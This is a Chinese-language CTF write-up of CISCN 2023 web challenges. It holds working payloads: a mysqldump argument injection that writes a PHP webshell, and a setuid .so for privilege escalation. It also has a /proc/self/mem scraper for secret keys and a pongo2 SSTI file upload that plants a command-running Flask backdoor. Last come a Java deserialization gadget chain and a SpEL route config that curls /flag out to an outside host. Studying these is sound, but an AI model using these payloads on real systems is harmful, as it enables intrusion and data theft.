十六届 CISCN Web 的一些复现
2023-05-31 00:42:36

dumpit

docker镜像:liey/ciscn16_dumpit

这里的 php 源码是根据印象重新写的,不过大差不差的

mysqldump rce

首先是 rce,这个还是很简单的

一共就两功能,一个 query 一个 dump。

dump 以后发现生成了文件,猜测可能是mysqldump这个命令,然后看 help 能看到 -r 参数:

image-20230531004934195

在 db 这里直接上参数就行了:

1
?op=dump&db=%20-r%20c.php%20%27<?php%20eval($_REQUEST[23])%20?>%27&table=a

这里搭建的也和原题有些许区别,原题是不能有 $; 的,用的payload是:

1
?db=-r%20"a.php"%20"<?=eval(getallheaders()[0])%20?>"&table_2_dump=flag1

只有一句话的话是不需要分号的

预期解 mariadb 提权

rce 后就需要提权了,因为,直接搜 suid:

image-20230531010054862

这里发现一个好玩的参数,-w,能控制 where 然后可以union select

load_file,虽然不能提权,但是也能读文件(不过在我这个环境下不行,可能是我没设置 secure_priv 吧):

1
mariadb-dump -uwww -p123456 ctf flag1 -w "1=2 union select load_file('/etc/passwd')"

但是这样读取只能是低权限的,没法读flag(但是好像可以用 -r 参数覆盖)

然后其实还有一个参数,非常的不显眼:

image-20230531011004459

这个是指定验证的 plugin,然后配合上:

image-20230531011034906

指定plugin的目录,写一个 so 文件就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#include <stdio.h>
#include <stdlib.h>
__attribute((constructor)) void before_main()
{
setuid(0);
system("id");
system("cat /flag");
system("chmod 777 /flag");
printf("%s\n", __FUNCTION__);
}

int main(int argc, char **argv)
{
printf("%s\n", __FUNCTION__);
return 0;
}


注意,这里必须要执行 setuid,因为:

image-20230531011220209

image-20230531011643172

reading

dockerliey/ciscn16_reading

这题是个文件读,首先就是读取 app.py :

1
/books?book=..../app.py

一个 flag 路由,如果 session 里的 key 如果和程序启动时的 time_ns 的hash前一样那么久获取 flag

首先肯定就是获取 secret_key 伪造 session,参考这个:

https://www.freebuf.com/articles/web/354448.html

但是他这里用的 offset ,比我们这里的方便,我们这里的 offset 是怎么算的呢:

image-20230531013118952

是通过 page_number -1 * page_size 算出来的,其实感觉挺麻烦的。

这里简单说一下思路,首先是获取 maps 中的可读的地方,比如:

image-20230531013205777

比如这个吧,开始的地址就是 e3f14a1000,结束是 55e3f14a2000 ,但是我们要传入 page_size,他就要乘以 page_size,其实把 page_size = 1 也行,但是这样就要读取 0x55e3f14a2000 - 0xe3f14a1000 = 93458488365056 这么多次,这肯定没法接受。

于是乎可以想到另一个方法,就是 0x55e3f14a2000/某个大数 = 整数,当然我数学不好,大概是这么个意思,就是找到一个 page_size 是大一点的整数,让他乘以后刚好等于那个 offset,然后脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests, re

url = "http://127.0.0.1:8088/"
maps_url = f"{url}/books?book=..../..../..../..../..../..../....//proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)

def find_i(chu):
for i in range(5000,100000000):
xx = str(chu/i)
f = xx.split(".")[1]
if len(str(f))==1 and f=='0':
return int(i)
return 1

iii = 0;
for m in maps:
with open ('mem.txt','ab') as f:

ret = ""
start, end = m.split("-")[0], m.split("-")[1]
# Length = int((int(end, 16) - int(start, 16)))
start = int(start,16)
end = int(end,16)


while start < end:
Length = find_i(start)
Offset = int(start/Length)
# print(Offset,Length)

read_url = f"{url}/books?book=..../..../..../..../..../..../....//proc/self/mem&page={Offset+1}&page_size={Length}"
s = requests.get(read_url)
if s.status_code==200:
f.write(s.content)

txt = re.sub('\\\\x..','',s.text)
rt = re.findall("[a-f0-9]{32}",txt)
if rt:
print(rt)
iii+=1
start+=Length
while start < end:
Length = find_i(start)
if Length==1:
start+=5000
else:
break

Offset = int(start/Length)
else:
break


# def find_key(txt):
# txt = re.sub('\\\\x..','',txt)
# rt = re.findall("[a-f0-9]{32}",txt)
# print(rt)
# pass

# with open ('mem.txt','r') as f:
# txt = f.read()

# find_key(txt)
# exit()

hash爆破

image-20230531014207595

这两个就是了,第一个是secret_key,第二个是 time_ns 的hash

image-20230531014313519

但是这玩意精确度太高了,我仅仅是开了四分钟的容器:

1
2
3
1685468 709163546000 - 
1685468 464432864629 =
244730681371

再次获取的 time_ns 就要爆破13位,这个说实话很难接受。

不会了,这个真不会计算,计算用golang也要很久~算了这个也没啥用,就不学了

(据说是可以用读取stat的方法算出大概启动的时间,或者启动容器以后,大概算一个时间本地获取一个差不多的,无论是什么方法,都没什么学习价值了~

go_session

docker:

这题给了 golang 源码:

一个 flask 请求5000 端口的 flask,一个 /admin 看起来有 ssti。

但是 /admin 的话 name 必须为 admin

一开始猜测是用不需要权限的 flask 读取 env 里的 SESSION_KEY,但是传入

1
http://127.0.0.1:8088/flask?name=?

根据报错可以看到:

image-20230531083955803

好像并没有 ssti,虽然开了 Debug 但是没有文件读也没办法。

后来发现本地启动一个就好了,猜测远程的 SESSION_KEY 应该是空的,本地启动一个改一个就好了:

1
MTY4NTQ5Mzc5NnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXyrhCwIQvlATEGsJ1tnv5VeqaSvpe5BPqRYP--HtP_tlQ==

那么点应该就是 golang 的 ssti 这一块了,这里用的是 pongo2 ,一种模仿 flask 的,但是使用了 EscapeString 对 name 进行过滤,这样就不能输入引号了。

golang 的模板想要调用函数的话,必须要传递 Context 才能执行相应的函数:

image-20230531084619007

这里传入了的这个 c 看起来是可以从参数中获取,就能绕过函数了。

任意文件读取+RCE

这里直接用 Query 就好了 :

image-20230531085205862

但是依然需要传递一个类型为 string 的参数,这里可以使用一个环境变量:{{pongo2.version}}

image-20230531085317857

然后大概就是这样:

1
/admin?name={%25 set test=c.Query(pongo2.version) %25}{{test}}&6.0.0=hahaha

image-20230531085415488

读取文件:

1
/admin?name={%25 set test=c.Query(pongo2.version) %25}{%25 include test %25}&6.0.0=/etc/passwd

但是没有 /flag,说明要 rce。

在这里卡了很久,一开始想到的是 flask 的 Debug 算出 pin,但是算出来以后才发现:

https://tedboy.github.io/flask/_modules/werkzeug/debug.html

image-20230531085650871

image-20230531085709788

这里是要拿 cookie 的,我们只能发送一个 GET,顶多控制 path 罢了。

后来想到 crlf:

https://github.com/golang/go/issues/30794

但是发现好像也不行。

最后翻那个 gin 的 Context,看到上传文件的地方的时候想起来,既然有 Debug,那么覆盖文件以后 python 就会自动 reload 了。

最后向这个地址上传文件:

1
/admin?name={%25%20set%20xx=c.Query(pongo2.version)%20%25}{%25%20set%20xx2=c.Query(xx)%20%25}{%25%20set%20_%20=%20c.SaveUploadedFile(c.FormFile(xx),xx2)%20%25}&6.0.0=file&file=/app/server.py&

就是首先用 FromFile 获取上传的文件,然后传进 SaveUploadedFile。

这里用的是 6.0.0 作为第一个参数,然后值为 file,然后通过嵌套再获取 file,传目标文件位置就好了,文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
from flask import request

import subprocess


app = Flask(__name__)


@app.route('/abc')
def abc():
cmd = request.args.get('cmd')
result = subprocess.check_output(cmd.split())
return result

app.run(host="127.0.0.1",port=5000,debug=True)

image-20230531090827642

然后用 ssrf 访问 flask 就好了:

1
/flask?name=/abc?cmd=cat%2520/flag_flag_flag

deserbug

这题也很简单的,我竟然没做出来,傻鸟了

首先是提示了 hutool 的 JSONObject.put -> xxx.getter

但是由于题目给了个:

image-20230531234000156

这个,导致我以为必须要打这个然后到别的地方,其实直接打 TemplatesImpl().getOutputProperties() 就完事了。

然后第二个是 tabby 用得不好,人家用的都能搜到,我搜到一大堆没用的,这里学习了个师傅的,其实也没改多少,就是限制了包吧,之前都没看到过,所以没想象出来:

1
2
3
4
5
match (source:Method {NAME:"toString"} )  where  source.CLASSNAME=~".*commons.*" // 限定source
match (sink:Method {NAME :"get"}) // 限定sink
with source, collect(sink) as sinks // 聚合sink
call tabby.algo.findJavaGadget(source, sinks,5 , false) yield path
return path limit 5

image-20230531235904286

但是我感觉这个都知道包了,这还算挖链子么~

然后链子就是:

1
2
3
4
5
6
7
TiedMapEntry.toString 
-> getValue
-> Lazymap.get
-> JSONObject(map).put
-> Myexpect.getAnyexcept
-> TrAXFilter 构造方法
-> Templates.newTransformer

然后就可以去打 JSONObject 的 put 了。

其实不论是 TiedMapEntry 还是 Lazymap 还是 TemplatesImpl ,都不难想到,可惜这道题最后都只有 三四个解~

最后 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
Object templatesImpl = Gadgets.createTemplatesImpl("open -a calculator");
Myexpect o = new Myexpect();
o.setTargetclass(TrAXFilter.class);
o.setTypeparam(new Class[]{Templates.class});
o.setTypearg(new Object[]{templatesImpl});
JSONObject jsonObject = new JSONObject();
Map lazyMap = LazyMap.decorate(jsonObject, new ConstantTransformer(o));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "a");
// tiedMapEntry.toString();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream =new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(tiedMapEntry);
objectOutputStream.close();

引入了 yso,方便~

BackendService

docker: liey/ciscn16_backendservice:latest

直接用就好了:

https://www.cnblogs.com/Hi-blog/p/nacos-authentication-bypass.html

image-20230531092926175

我的 docker 直接没改账号密码了,这一步太简单了。

上后台以后新建配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://backendservice",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://aqg2fnd4.requestrepo.com/','-F','a=@/flag'}).getInputStream()))}"
}
}
]
}
]
}
}
}
}

image-20230531104737569

这里格式为:json,ID 为 backcfg 就行了~

nacos 配置更新

这里属于是看不太懂,看了两三个小时,写一下自己浅薄的理解,也不全面。

首先 nacos 是一个 server、一个 provider、一个 client

这其实跟 rmi 一样,有个注册中心,有个服务,有个客户端

这题提供的 jar 其实就是一个 provider ,所以要先启动 server,然后启动 provider 把这个 provider 注册到 server 里。

在 start.sh 添加 Debug 参数,然后这里添加断点:

1
java.lang.Runtime#exec(java.lang.String[])

然后添加一个配置,就上面那个配置就好了。

然后这个时候断点应该停下来,网上回溯大概就是刷新配置了,但是我没法解释每个函数都代表什么,只能大概大概猜到应该是启动了一个线程,做自动轮询。

首先第一个关键点在:

com.alibaba.nacos.client.config.impl.ClientWorker.LongPollingRunnable#run

这里应该是根据 ID 和 group 获取配置

image-20230531213509595

这应该就是修改完配置以后进行刷新

然后还有一个关键点就是:

1
org.springframework.context.event.SimpleApplicationEventMulticaster#multicastEvent(org.springframework.context.ApplicationEvent, org.springframework.core.ResolvableType)

image-20230531212400552

接着到:

1
org.springframework.context.event.SimpleApplicationEventMulticaster#multicastEvent(org.springframework.context.ApplicationEvent, org.springframework.core.ResolvableType)

image-20230531213621350

进入

1
2
3
org.springframework.context.event.AbstractApplicationEventMulticaster#getApplicationListeners(org.springframework.context.ApplicationEvent, org.springframework.core.ResolvableType) 
->
org.springframework.context.event.AbstractApplicationEventMulticaster#retrieveApplicationListeners

这个函数大概就是根据 event 的类型获取 Listener:

image-20230531213843991

image-20230531213920032

此处添加了 cloud.gateway 的 路由刷新监听器:

image-20230531213938678

自然就触发到了 gateway 的路由刷新的地方了

至于这个,怎么加进去的,我猜是因为他继承了 ApplicationEvent 这个类, spring 自动扫描到了:

image-20230531214106375

还有就是更新的时候好像还会触发另外一块:

1
com.alibaba.nacos.common.notify.DefaultPublisher#openEventHandler

然后最终也是到:

1
org.springframework.context.event.SimpleApplicationEventMulticaster#multicastEvent(org.springframework.context.ApplicationEvent, org.springframework.core.ResolvableType)

image-20230531230314497

不同的 event 获取一样的 listener 触发。

(说实话,我觉得我写的不对,也写得不好,但是我目前水平不足以我看懂每个函数的意思,等以后有缘了再看吧^_^

值得一提的是,其实这道题先知那个有一个:

https://xz.aliyun.com/t/11493#toc-5

直接里面的 exp 从 yaml 转 json,data id 填对了,然后命令那里写个 curl 往外带文件就好了。只可惜当时对 nacos 知之甚少,其实看看文档也应该知道:

https://github.com/alibaba/spring-cloud-alibaba/wiki/Nacos-config

image-20230531233704059

以后还是先翻文档然后再调代码吧~

Prev
2023-05-31 00:42:36
Next